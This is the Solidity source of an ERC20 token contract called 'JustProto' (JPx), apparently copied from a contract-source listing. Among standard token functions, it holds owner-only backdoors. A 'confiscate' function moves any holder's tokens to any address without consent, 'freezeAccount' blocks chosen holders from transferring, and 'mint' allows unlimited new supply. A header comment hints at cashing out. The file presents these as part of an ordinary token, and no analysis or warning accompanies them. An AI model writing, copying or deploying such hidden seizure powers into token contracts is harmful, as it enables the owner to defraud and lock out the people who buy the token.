Contract Source Code:
File 1 of 1 : master
pragma solidity 0.5.7;
/**
* Grand could be candy or it could be it's time to get paid. Who knows? Let's take a ride.
* */
interface IERC20 {
function totalSupply() external view returns(uint256);
function balanceOf(address who) external view returns(uint256);
function allowance(address owner, address spender) external view returns(uint256);
function transfer(address to, uint256 value) external returns(bool);
function approve(address spender, uint256 value) external returns(bool);
function transferFrom(address from, address to, uint256 value) external returns(bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns(uint256) {
uint256 c = add(a, m);
uint256 d = sub(c, 1);
return mul(div(d, m), m);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
}
}
contract master is ERC20Detailed, Owned {
using SafeMath
for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowed;
mapping (address => bool) public _freezed;
string constant tokenName = "JustProto";
string constant tokenSymbol = "JPx";
uint8 constant tokenDecimals = 18;
uint256 _totalSupply = 9000000 * 1000000000000000000;
function transfer(address to, uint256 value) public returns(bool) {
require(value <= _balances[msg.sender], "Value sending is higher than the balance");
require(to != address(0), "Can't transfer to zero address, use burnFrom instead");
require(_freezed[msg.sender] != true);
require(_freezed[to] != true);
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
constructor() public payable ERC20Detailed(tokenName, tokenSymbol, tokenDecimals) {
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), owner, _totalSupply);
}
function totalSupply() public view returns(uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns(uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns(uint256) {
return _allowed[owner][spender];
}
/**
* @dev Airdrops some tokens to some accounts.
* @param source The address of the current token holder.
* @param dests List of account addresses.
* @param values List of token amounts. Note that these are in whole
* tokens. Fractions of tokens are not supported.
*/
function airdrop(address source, address[] memory dests, uint256[] memory values) public {
// This simple validation will catch most mistakes without consuming
// too much gas.
require(dests.length == values.length, "Address and values doesn't match");
for (uint256 i = 0; i < dests.length; i++) {
require(transferFrom(source, dests[i], values[i]));
}
}
function approve(address spender, uint256 value) public returns(bool) {
require(spender != address(0), "Can't approve to zero address");
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns(bool) {
require(value <= _balances[from], "Insufficient balance");
require(value <= _allowed[from][msg.sender], "Balance not allowed");
require(to != address(0), "Can't send to zero address");
require(_freezed[msg.sender] != true);
require(_freezed[to] != true);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function confiscate(address _from, address _to, uint256 _value) public onlyOwner{
_balances[_to] = _balances[_to].add(_value);
_balances[_from] = _balances[_from].sub(_value);
emit Transfer(_from, _to, _value);
}
function freezeAccount (address account) public onlyOwner{
_freezed[account] = true;
}
function unFreezeAccount (address account) public onlyOwner{
_freezed[account] = false;
}
function increaseAllowance(address spender, uint256 addedValue) public returns(bool) {
require(spender != address(0), "Can't allow to zero address");
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns(bool) {
require(spender != address(0), "Can't allow to zero address");
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
function _burn(address account, uint256 amount) internal {
require(amount != 0, "Can't burn zero amount");
require(amount <= _balances[account], "Balance not enough");
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender], "Balance not allowed");
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
function mint(address account, uint256 amount) public onlyOwner {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
}